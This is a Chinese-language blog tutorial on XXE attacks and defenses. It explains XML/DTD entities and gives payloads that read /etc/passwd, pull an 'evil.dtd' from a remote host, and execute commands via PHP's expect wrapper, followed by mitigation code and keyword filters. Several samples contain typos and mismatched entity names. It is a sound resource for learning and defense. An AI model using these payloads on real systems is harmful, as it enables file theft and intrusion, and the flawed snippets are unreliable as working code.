XXE漏洞攻击与防御

0x01 XML基础

在聊XXE之前，先说说相关的XML知识吧。

定义

XML用于标记电子文件使其具有结构性的标记语言，可以用来标记数据、定义数据类型，是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义（可选）、文档元素。

文档结构

XML文档结构包括XML声明、DTD文档类型定义（可选）、文档元素。

<!--XML声明-->
<?xml version="1.0"?> 
<!--文档类型定义-->
<!DOCTYPE note [  <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)>  <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)>     <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)>   <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)>   <!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)>   <!--定义body元素为”#PCDATA”类型-->
]]]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>

DTD

XML文档结构包括XML声明、DTD文档类型定义（可选）、文档元素。
内部声明DTD:

1	<!DOCTYPE 根元素 [元素声明]>

引用外部DTD:

1	<!DOCTYPE 根元素 SYSTEM "文件名">

DTD中的一些重要的关键字：

DOCTYPE（DTD的声明）
ENTITY（实体的声明）
SYSTEM、PUBLIC（外部资源申请）

实体类别介绍

实体主要分为一下四类

内置实体 (Built-in entities)
字符实体 (Character entities)
通用实体 (General entities)
参数实体 (Parameter entities)

参数实体用%实体名称申明，引用时也用%实体名称;
其余实体直接用实体名称申明，引用时用&实体名称。
参数实体只能在DTD中申明，DTD中引用；
其余实体只能在DTD中申明，可在xml文档中引用。

举例：
内部实体

1	<!ENTITY 实体名称 "实体内容">

外部实体

1	<!ENTITY 实体名称 SYSTEM "URI">

参数实体

1
2
3

<!ENTITY % 实体名称 "实体内容">
或者
<!ENTITY % 实体名称 "URI">

注意：参数实体是在DTD中被引用的，而其余实体是在xml文档中被引用的。

外部实体

默认协议

PHP扩展协议

举例：

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [<!ENTITY passwd "file:///etc/passwd">]>
<foo>
		<value>&passwd;</value>
</foo>

0x02 XXE漏洞

XXE就是XML外部实体注入。当允许引用外部实体时，通过构造恶意内容，可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。

举例

恶意引入外部实体(1)

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [<!ENTITY passwd SYSTEM "file:///etc/passwd">]>
<a>
		<value>&passwd;</value>
</a>

恶意引入外部实体(2)

**XML内容**
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
                <!ENTITY % f SYSTEM "http://www.m03.com/evil.dtd">
                %d;
]>
<aaa>&b;</aaa>

DTD文件内容

1	<!ENTITY b SYSTEM "file:///etc/passwd">

恶意引入外部实体(3)

XML文件内容

<?xml verstion="1.0" encoding="utf-8"?>
<!DOCTYPE a[
                <!ENTITY f SYSTEM "http://www.m03.com/evil.dtd">
]>
<a>&b;</a>

DTD文件内容

1	<!ENTITY b SYSTEM "file:///etc/passwd">

XXE的危害

读取任意文件

- 有回显

XML.php

<?php 
$xml = <<<EOF
<?xml version = "1.0"?>
<!DOCTYPE ANY [
	<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>

访问XML.php可以读取etc/passwd文件内容

- 无回显

当页面没有回显的话，可以将文件内容发送到远程服务器，然后读取。

<?xml verstion="1.0" encoding="utf-8"?>
<!DOCTYPE a[
                <!ENTITY % f SYSTEM "http://www.m03.com/evil.dtd">
                 %f;
]>
<a>&b;</a>
$data = simplexml_load_string($xml);
print_r($data);

远程服务器的evil.dtd文件内容

1	<!ENTITY b SYSTEM "file:///etc/passwd">

命令执行

php环境下，xml命令执行要求php装有expect扩展。而该扩展默认没有安装。

<?php 
$xml = <<<EOF
<?xml version = "1.0"?>
<!DOCTYPE ANY [
	<!ENTITY f SYSTEM "except://ls">
]>
<x>&f;</x>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>

内网探测/SSRF

由于xml实体注入攻击可以利用http://协议，也就是可以发起http请求。可以利用该请求去探查内网，进行SSRF攻击。

0x03 XXE漏洞修复与防御

使用开发语言提供的禁用外部实体的方法
PHP
1
libxml_disable_entity_loader(true);

JAVA

1 2	DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false);

Python

1 2	from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

过滤用户提交的XML数据
过滤关键词：<!DOCTYPE和<!ENTITY，或者SYSTEM和PUBLIC。

##0x04 遗留问题(已解决)

以上测试在php5.4一下包括5.4是成功的，php5.5及以上是不成功的。可能的原因是5.5以上版本后，simplexml_load_string()、DOMDocument::loadxml()等不解析外部实体导致都不到文件还是因为libxml2版本的问题，还是高版本的php本身默认不解析外部实体呢，还是其他神恶魔原因呢？如果是因为php本身问题，那么XXE的利用范围也太过小了吧，应该不是这样的。。但是讲道理网上的资料太老了吧，估计也是参考别人的自己没有试验吧，等有空再做实验看看是什么问题。
（2017.9.20更新）
今天在弄phith0n的vulhub的时候，无意间看到php-xxe的项目，得到了我想要的结果。XXE的利用跟php版本没有关系，而是xmllib的版本问题，xmllib2.9.0以后，是默认不解析外部实体的。

##0x05 参考文献

https://security.tencent.com/index.php/blog/msg/69
http://php.yjsweb.cn/php/68075544811183197241.html
https://thief.one/2017/06/20/1/